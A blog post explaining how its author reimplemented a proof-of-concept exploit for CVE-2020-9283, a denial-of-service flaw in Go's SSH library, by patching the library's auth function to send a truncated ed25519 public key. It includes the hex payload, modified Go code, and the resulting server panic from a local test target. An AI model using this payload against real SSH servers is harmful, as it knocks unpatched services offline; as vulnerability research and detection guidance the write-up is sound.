DEV Community

Chris
Chris

Posted on • Updated on

Modifying Go's Crypto/ssh library for CVE-2020-9283

Recently CVE-2020-9283 was patched by the Go maintainers with this commit. This vulnerability exploits an issue in how the SSH library parses ssh-ed25519 or sk-ssh-ed25519@openssh.com
public keys and can cause an SSH server to panic, which results in a Denial of Service (DoS). Upon further investigation of this issue, it became apparent that this was a trivial issue to exploit and I found an example exploit in this repo which utilises Python and the Paramiko package to execute SSH commands.

The repo above provides a useful PoC which contains a Python script which triggers the panic and also provides a vulnerable Go SSH server and patched Go SSH server. After playing with the PoC a bit, I decided to replicate the exploit in Go. I decided this for multiple reasons, the main being I was curious as to how Go implemented the SSH protocol and a personal preference of not having to use Python.

After looking at Go's SSH library it was clear that there was no easy way to issue commands as the same way that the Paramiko library does. For example, to issue a SSH Service auth request using Paramiko you use the following:

...
m = paramiko.Message()
m.add_byte(cMSG_SERVICE_REQUEST)
...
Enter fullscreen mode Exit fullscreen mode

The above snippet is not possible to replicate in Go and there's a few more requests that have to be made on the SSH protocol level such as the Auth_Request which occurs after the service request. I won't go into too much detail on the SSH protocol but I highly recommend reading RFC4252 which can be found here.

So to trigger the exploit using Go, we are required to do the following:

  1. Issue a SSH_MSG_SERVICE_ACCEPT
  2. Issue a SSH_MSG_USERAUTH_REQUEST
    • Provide a malicious public key which is just a public key which is too short
    • Provide a signature

In order to achieve this, we need to see how Go implements the SSH protocol and modify what is sent to the target server to ensure that our malicious public key is sent.

In this post, our payload aka Public Key is the following:

\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15aaa-aaa-aa-aaa-aaaaa
Enter fullscreen mode Exit fullscreen mode

however we will be working with the ASCII HEX representation in our Go code so it will look like this:

0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161
Enter fullscreen mode Exit fullscreen mode

There is no way in the Go library to just "send" this public key so what we can do is establish a SSH handshake on the transport layer and let Go send the auth requests but change the public key sent. This is what our Go code will look like which will invoke the Go SSH library:


func setupKeyAndDial(addr, user, keyfile string) *ssh.Client {
    key, err := ioutil.ReadFile(keyfile)
    if err != nil {
        fmt.Println("[ERROR]", err)
    }

    signer, err := ssh.ParsePrivateKey(key)
    if err != nil {
        fmt.Println("[ERROR]", err)
    }

    config := &ssh.ClientConfig{
        User: user,
        Auth: []ssh.AuthMethod{
            ssh.PublicKeys(signer),
        },
        HostKeyCallback: ssh.HostKeyCallback(func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil }),
    }
    return Dial("tcp", addr, config)
}

func Dial(network, addr string, config *ssh.ClientConfig) *ssh.Client {
    client, err := ssh.Dial(network, addr, config)
    if err != nil {
        panic(err)
    }
    return client
}
Enter fullscreen mode Exit fullscreen mode

From the code above, you can see that our payload is not there and this is just regular Go code to create an SSH client. What we actually do is modify our local Go SSH package which is used by the code above. We start with modifying the files located on our host which can be found at:

/Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200510223506-06a226fb4e37/ssh/***
Enter fullscreen mode Exit fullscreen mode

After much digging around, I located the function which is responsible for performing the SSH auth request aka "SSH_MSG_USERAUTH_REQUEST". The file is client_auth.go and the function is located on line 214 on my version and has the following signature:

func (cb publicKeyCallback) auth(session []byte, user string, c packetConn, rand io.Reader) (authResult, []string, error) {

Enter fullscreen mode Exit fullscreen mode

The following code snippet below was/is super useful to identify where and what functions are calling specific functions in Go code and you'll find this pasted throughout the code in the Github repo:

_, file, no, ok := runtime.Caller(1)
    if ok {
        fmt.Printf("[(client_auth.go)auth 212] called from %s#%d\n", file, no)
    }
Enter fullscreen mode Exit fullscreen mode

The code above produces output to STDOUT when you run your compiled code, for example:

[(client_auth.go)auth 212] called from /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200510223506-06a226fb4e37/ssh/client_auth.go#58
Enter fullscreen mode Exit fullscreen mode

Great stuff, now all we need to do is to ensure that instead of sending the public key we created in our Go code, we would like to send the malicious public key. In order to achieve this, we modify the function auth with the following changes:

sshPayload := "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161"
        sshPayloadBytes, err := hex.DecodeString(sshPayload)
        if err != nil {
            log.Fatal(err)
        }

        // manually wrap the serialized signature in a string
        s := Marshal(sign)
        sig := make([]byte, stringLength(len(s)))
        marshalString(sig, s)
        msg := publickeyAuthMsg{
            User:    user,
            Service: serviceSSH,
            Method:  cb.method(),
            HasSig:  true,
            // PubKey:   pubKey,
            PubKey: sshPayloadBytes,
            Sig:    sig,
        }

Enter fullscreen mode Exit fullscreen mode

From the code above, we've made minimal changes, we've converted our ASCII HEX payload to a byte slice and then modified the struct "publickeyAuthMsg" to use our byte slice "sshPayloadBytes" instead of "pubKey" where "pubKey" is the legitimate public key.

And voila, we've made the required changes. We're now ready to invoke our Go code against a target server and see what happens. We can launch our exploit against the vulnerable server attached in the Github repo by doing the following:

./CVE-2020-9283 -h
Usage of ./CVE-2020-9283:
  -host string
        IP address of SSH host to target (default "localhost")
  -key string
        ssh-ed25519 private key to use (default "thekey")
  -port string
        Port to target (default "22")

# ./CVE-2020-9283 -port=2022
./CVE-2020-9283 -port=2022
+] Sploit for CVE-2020-9283
[+] Attempting to pwn: localhost:2022
[!] Attempting: cMSG_USERAUTH_REQUEST
[+] userAuthRequestMsg User:  notme
[+] userAuthRequestMsg Service:  ssh-connection
[ERROR] ssh: handshake failed: EOF
[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'

Enter fullscreen mode Exit fullscreen mode

and on our server, we should see a panic which contains something like the following stack trace:

./target-vulnerable 
Vulnerable SSH server running on 0.0.0.0:2022
panic: ed25519: bad public key length: 21

goroutine 34 [running]:
crypto/ed25519.Verify(0xc000176050, 0x15, 0x6c, 0xc00009c200, 0x89, 0x100, 0xc00017607c, 0x40, 0x40, 0xc000110260)
        /usr/local/Cellar/go/1.13.1/libexec/src/crypto/ed25519/ed25519.go:175 +0x458
golang.org/x/crypto/ed25519.Verify(...)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ed25519/ed25519_go113.go:72
golang.org/x/crypto/ssh.ed25519PublicKey.Verify(0xc000176050, 0x15, 0x6c, 0xc00009c200, 0x89, 0x100, 0xc00008c080, 0x28, 0x7f)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/keys.go:587 +0x1a0
golang.org/x/crypto/ssh.(*connection).serverAuthenticate(0xc0000fe200, 0xc0000c29c0, 0x11, 0x40, 0x0)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/server.go:567 +0x160d
golang.org/x/crypto/ssh.(*connection).serverHandshake(0xc0000fe200, 0xc0000c29c0, 0x1207b70, 0x1b, 0x1391aa0)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/server.go:277 +0x59f
golang.org/x/crypto/ssh.NewServerConn(0x1242140, 0xc0000bc018, 0xc0000c2820, 0x0, 0x0, 0x0, 0x0, 0x0)
        /Users/user/go/pkg/mod/golang.org/x/crypto@v0.0.0-20200219234226-1ad67e1f0ef4/ssh/server.go:206 +0x17f
main.handleConnection(0x1242140, 0xc0000bc018, 0xc0000c2820)
        /Users/user/go/src/github.com/mark-adams/exploits/CVE-2020-9283/target-vulnerable/main.go:43 +0x5a
created by main.main
        /Users/user/go/src/github.com/mark-adams/exploits/CVE-2020-9283/target-vulnerable/main.go:98 +0x23d

Enter fullscreen mode Exit fullscreen mode

and there we go, we've got a Go based version to exploit this CVE. You can get the source code and precompiled binaries on my Github -> https://github.com/brompwnie/CVE-2020-9283.

Additionally, if you would like to detect if this attack has been launched against you (IOC's), you can search your logs for stack traces that contain bad key length errors.

References
1 https://skarlso.github.io/2019/02/17/go-ssh-with-host-key-verification/
2 https://bridge.grumpy-troll.org/2017/04/golang-ssh-security/
3 https://github.com/golang/crypto/blob/81e90905daefcd6fd217b62423c0908922eadb30/ssh/example_test.go#L143
4 https://www.iana.org/assignments/ssh-parameters/ssh-parameters.xml#ssh-parameters-1
5 https://pkg.go.dev/golang.org/x/crypto/ssh?tab=doc
6 https://github.com/golang/go/issues/8581
7 https://tools.ietf.org/html/rfc4252#section-5
8 https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236
9 https://github.com/mark-adams/exploits/tree/master/CVE-2020-9283
10 https://github.com/brompwnie/CVE-2020-9283

Top comments (0)